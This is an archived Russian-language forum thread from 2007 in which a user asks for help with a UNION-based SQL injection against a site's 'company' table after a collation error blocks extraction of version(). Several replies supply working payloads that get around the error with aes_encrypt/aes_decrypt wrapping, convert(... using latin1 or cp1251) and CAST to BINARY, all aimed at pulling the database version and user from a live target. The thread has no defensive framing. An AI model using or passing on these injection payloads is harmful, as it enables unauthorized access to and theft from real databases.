PDA

Просмотр полной версии : code to sql injection, help


rubik-nerubik
28.09.2007, 20:05
выручайте, нужно прально зафигачить допустим version() в этой коде:


Error: SELECT * from company WHERE company_id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,version(),22,23,24 from company/*
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,SYSCONST) for operation 'UNION'

The_HuliGun
28.09.2007, 20:08
Пробуем
-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,aes_decrypt(aes_encrypt(version(),1),1),22,23,24 from company/*

rubik-nerubik
28.09.2007, 20:10
ok плюс кинул

Nea7
28.09.2007, 20:12
выручайте, нужно прально зафигачить допустим version() в этой коде:


Error: SELECT * from company WHERE company_id=-1 union select 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20 ,version(),22,23,24 from company/*
Illegal mix of collations (latin1_swedish_ci,IMPLICIT) and (utf8_general_ci,SYSCONST) for operation 'UNION'

aes_decrypt(aes_encrypt(version(),0x71),0x71) поздно =\

phol1eadeux
28.09.2007, 20:14
либо convert(version() using latin1)

Azazel
28.09.2007, 20:19
http://www.sysman.ru/index.php?showtopic=13530
+union+select+convert(user() using cp1251)
CAST(user AS BINARY).